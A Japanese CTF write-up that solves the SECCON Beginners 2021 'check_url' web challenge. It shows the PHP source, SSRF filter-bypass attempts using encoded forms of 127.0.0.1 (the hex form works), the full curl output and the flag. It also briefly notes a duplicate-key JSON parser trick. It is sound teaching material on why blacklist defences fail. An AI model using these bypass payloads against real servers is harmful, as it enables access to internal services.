SECCON Beginners CTF 2021 - Writeup
5/22(土) 14:00 JST~5/23(日) 14:00 JSTに開催されたSECCON Beginners CTF 2021 に会社のチームで参加した。 チームの他の方がスラスラ解くのを横目に1問だけ解いたので、以下にWriteupを記載する。
Web
check_url
Have you ever used curl ? 想定難易度: Easy
指定されたURLへアクセスすると入力したURLのサイトを確認する画面が表示される。ソースコードは以下の通り。
<!-- HTML Template --> <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){ echo "Hi, Admin or SSSSRFer<br>"; echo "********************FLAG********************"; }else{ echo "Here, take this<br>"; $url = $_GET["url"]; if ($url !== "https://www.example.com"){ $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing } if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){ die("do not hack me!"); } echo "URL: ".$url."<br>"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); echo "<iframe srcdoc='"; curl_exec($ch); echo "' width='750' height='500'></iframe>"; curl_close($ch); } ?> <!-- HTML Template -->
①SSRFを実行し、$_SERVER["REMOTE_ADDR"]で接続したIPが127.0.0.1
と判定されればflagが表示される。
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){ echo "Hi, Admin or SSSSRFer<br>";
②アクセスしたURLがhttps://www.example.com出ない場合、英数字以外が👻へ置換される。
if ($url !== "https://www.example.com"){ $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
③URLにlocalhostまたはapacheの文字が含まれているとdo not hack me
で拒否される。
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){ die("do not hack me!");
SSRFに関する参考文献を元に確認してみる。
10スライド目の記載にあるように、例えSuper sanitizingされていてもブラックリスト的な対策は、抜け道が多く突破されてしまう。
④127.0.0.1を10進数変換 ⇒ NG (400 エラー)
https://check-url.quals.beginners.seccon.jp/?url=https://2130706433
⑤127.0.0.1を0で表現 ⇒ NG (400 エラー)
https://check-url.quals.beginners.seccon.jp/?url=https://0/
⑥127.0.0.1を16進数変換 ⇒ OK (200)
root@kali:~# curl -k https://check-url.quals.beginners.seccon.jp/?url=https://0x7F000001 <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0"/> <title>c(heck)_url</title> <!-- CSS --> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link href="css/materialize.min.css" type="text/css" rel="stylesheet" media="screen,projection"/> <link href="css/style.css" type="text/css" rel="stylesheet" media="screen,projection"/> </head> <body> <nav class="light-blue lighten-1" role="navigation"> <div class="nav-wrapper container"> <a id="logo-container" href="/" class="brand-logo">c(heck)_url</a> </div> </nav> <div class="section no-pad-bot" id="index-banner"> <div class="container"> <br><br> <h1 class="header center orange-text">c(heck)_url</h1> <div class="row center"> <h5 class="header col s12 light"> You can run <b>curl</b> <a href="/?url=https://www.example.com">like this</a>!<br><br> Here, take this<br>URL: https://0x7F000001<br><iframe srcdoc='<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0"/> <title>c(heck)_url</title> <!-- CSS --> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link href="css/materialize.min.css" type="text/css" rel="stylesheet" media="screen,projection"/> <link href="css/style.css" type="text/css" rel="stylesheet" media="screen,projection"/> </head> <body> <nav class="light-blue lighten-1" role="navigation"> <div class="nav-wrapper container"> <a id="logo-container" href="/" class="brand-logo">c(heck)_url</a> </div> </nav> <div class="section no-pad-bot" id="index-banner"> <div class="container"> <br><br> <h1 class="header center orange-text">c(heck)_url</h1> <div class="row center"> <h5 class="header col s12 light"> You can run <b>curl</b> <a href="/?url=https://www.example.com">like this</a>!<br><br> Hi, Admin or SSSSRFer<br>ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry} </h5> </div> </div> </div> <!-- Scripts--> <script src="https://code.jquery.com/jquery-2.1.1.min.js"></script> <script src="js/materialize.min.js"></script> <script src="js/init.js"></script> </body> </html> ' width='750' height='500'></iframe> </h5> </div> </div> </div> <!-- Scripts--> <script src="https://code.jquery.com/jquery-2.1.1.min.js"></script> <script src="js/materialize.min.js"></script> <script src="js/init.js"></script> </body> </html>
flag : ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
解きたかった問題
・json (Web)
・・・ユーザからのhttpアクセスをnginxのリバプロで受けて → bff → api の処理とbff上の処理をbypassさせるところまでは理解していた。「2重keyを含むjsonのパーサー解釈不一致」を理解できれば解けていた。{"id":0, "id":2}は試してたけど、{"id":2, "id":0}を試してなかった。 ... orz。チームの他の方が解かれていたので、チームとしては取りこぼし無かったのが救い。
・magic (Web)
・・・時間内に取り組めなかったので、復習予定。
感想
・check_url
にて、SSRF対策はブラックリスト形式はNG であるということが体感出来たので参考になった。